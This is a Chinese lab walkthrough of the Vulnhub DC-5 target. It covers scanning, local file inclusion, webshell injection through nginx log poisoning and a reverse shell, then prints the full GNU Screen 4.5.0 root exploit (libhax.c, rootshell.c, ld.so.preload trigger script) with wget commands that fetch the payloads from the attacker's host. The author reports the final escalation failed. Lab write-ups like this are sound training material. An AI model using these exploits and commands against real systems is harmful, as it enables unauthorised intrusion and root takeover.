Vulnhub-DC-5 靶机复现完整过程

注:最后提权那步失败了,若有大佬看到此文,还望指出问题,不胜感激!

由于本靶机被搁置一段时间,IP地址会有变化
故:192.168.200.11和92.168.200.58 都是靶机IP地址

一、准备工作

kali: ip 192.168.200.14
dc-5 : ip地址未知

二、信息收集

1、扫描i网段的主机存活

经常使用的三种方法

 arp-scan -l # 第一种方法
# 轻量级扫描工具

nmap -sP 192.168.200.0/24 -T4 # 第二种方法结合nmap
# ping扫描,Nmap在扫描端口时,默认都会使用ping扫描,只有主机存活,Nmap才会继续扫描。
-T4	针对TCP端口禁止动态扫描延迟超过1MMS

netdiscover -i eth0 -r 192.168.200.0/24 # 第三种方法 -i是指定网卡,-r扫描一个地址段
# Netdiscover 是一个主动/被动的ARP 侦查工具。

Vulnhub-DC-5 靶机复现完整过程_第1张图片

2.探索此网站开放的端口信息

nmap -sS -A 192.168.200.11 -p 1-65535
#  (sS) 这是一个基本的扫描方式,它被称为半开放扫描,
因为这种技术使得Nmap不需要通过完整的握手就能获得远程主机的信息。
Nmap发送SYN包到远程主机,但是它不会产生任何会话.因此不会**在目标主机上产生任何日志记录
-p     扫描指定端口
-A     启动Os检测,版本检测,脚本扫描和traceroute
nmap -sV -p-  192.168.200.11 
-sV     探测服务/版本信息
-p      扫描指定端口

Vulnhub-DC-5 靶机复现完整过程_第2张图片
Vulnhub-DC-5 靶机复现完整过程_第3张图片
开放端口有三个:80(http默认端口)和111端口、43853端口

登录网页,到这个页面发现每次刷新网页,页面下面的时间会随之改变,这可能存在文件包含
Vulnhub-DC-5 靶机复现完整过程_第4张图片

Vulnhub-DC-5 靶机复现完整过程_第5张图片
扫描目录,查看以下此页面的网页

3.扫描后台目录

Vulnhub-DC-5 靶机复现完整过程_第6张图片
其他目录在本网页当中都是存在的,当访问这个不存在的网页时出现下面这个场景,那么猜测是有文件包含漏洞的

thankyou.php包含了footer.php

三、漏洞利用

文件包含发现Vulnhub-DC-5 靶机复现完整过程_第7张图片

利用
?file=/etc/passwd 指令,出现预想中的效果
Vulnhub-DC-5 靶机复现完整过程_第8张图片
由于当前网站的web服务器使用的是nginx,在网站上的每一步操作都将会被写入日志文件log内,因此我们可以通过log来拿 shell,先看一下能否访问(若不知道log的存放位置,可以百度此版本号的服务器查询即可)
Vulnhub-DC-5 靶机复现完整过程_第9张图片
百度结果,那么利用如下路劲将webshell写入进去log

/var/log/nginx/error.log 
/var/log/nginx/access.log 

利用日志写入webshell

Vulnhub-DC-5 靶机复现完整过程_第10张图片

利用burp或者直接更改URL都可以
Vulnhub-DC-5 靶机复现完整过程_第11张图片
访问日志连接,可以看到一句话木马已经被写入到了日志(关杀软)
Vulnhub-DC-5 靶机复现完整过程_第12张图片
webshell连接成功
Vulnhub-DC-5 靶机复现完整过程_第13张图片

在kali上进行监听
image.png
在蚁剑终端上反弹shell,建立永久连接
image.png

Vulnhub-DC-5 靶机复现完整过程_第14张图片
使用python交互界面

python -c 'import pty;pty.spawn("/bin/bash")'

提权

查看有suid的文件夹,寻找能够提权的信息
find / -perm -u=s -type f 2>/dev/null

Vulnhub-DC-5 靶机复现完整过程_第15张图片
利用screen-4.5.0的版本

GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。
GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能

KALI搜索

searchsploit screen 4.5.0

Vulnhub-DC-5 靶机复现完整过程_第16张图片
再不破坏原有文件的前提下,复制源文件

cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh

查看文件
Vulnhub-DC-5 靶机复现完整过程_第17张图片
尝试本地编译其内的两个c语言程序,将该脚本拆分成3部分,具体内容如下
Vulnhub-DC-5 靶机复现完整过程_第18张图片

编译文件

以下按照所给EXP操作

第一部分 -----》libhax.c

#include 
 
#include 
 
#include 
 
__attribute__ ((__constructor__))
 
void dropshell(void){
 
    chown("/tmp/rootshell", 0, 0);
 
    chmod("/tmp/rootshell", 04755);
 
    unlink("/etc/ld.so.preload");
 
    printf("[+] done!\n");
 
}

用命令编译,生成libhax.so 文件

gcc -fPIC -shared -ldl -o libhax.so libhax.c

Vulnhub-DC-5 靶机复现完整过程_第19张图片
第二部分-------rootshell.c

#include 
int main(void){
    setuid(0);
    setgid(0);
    seteuid(0);
    setegid(0);
    execvp("/bin/sh", NULL, NULL);
}

编译生成rootshell.c

gcc -o rootshell rootshell.c

Vulnhub-DC-5 靶机复现完整过程_第20张图片
第三部分----》DC-5.sh

#!/bin/bash
# 编译成脚本文件要加头

echo "[+] Now we create our /etc/ld.so.preload file..."

cd /etc

umask 000 # because

screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed

echo "[+] Triggering..."

screen -ls # screen itself is setuid, so...

/tmp/rootshell

Vulnhub-DC-5 靶机复现完整过程_第21张图片

然后本地开启一个HTTP服务

python -m http.server 8899

将编译好的三个文件上传至靶机目录

wget http://192.168.200.14:8888/rootshell
wget http://192.168.200.14:8888/libhax.so
wget http://192.168.200.14:8888/DC-5.sh

Vulnhub-DC-5 靶机复现完整过程_第22张图片
运行DC-5.sh 文件,进行提权,失败

显示这样的报错问题,提示glibc_2.34不能被找到,这应该是过低还是过高导致的问题呢、
Vulnhub-DC-5 靶机复现完整过程_第23张图片

原文参考:
https://blog.csdn.net/qq_34028816/article/details/124572718

你可能感兴趣的:(#,红队打靶,网络安全,web安全)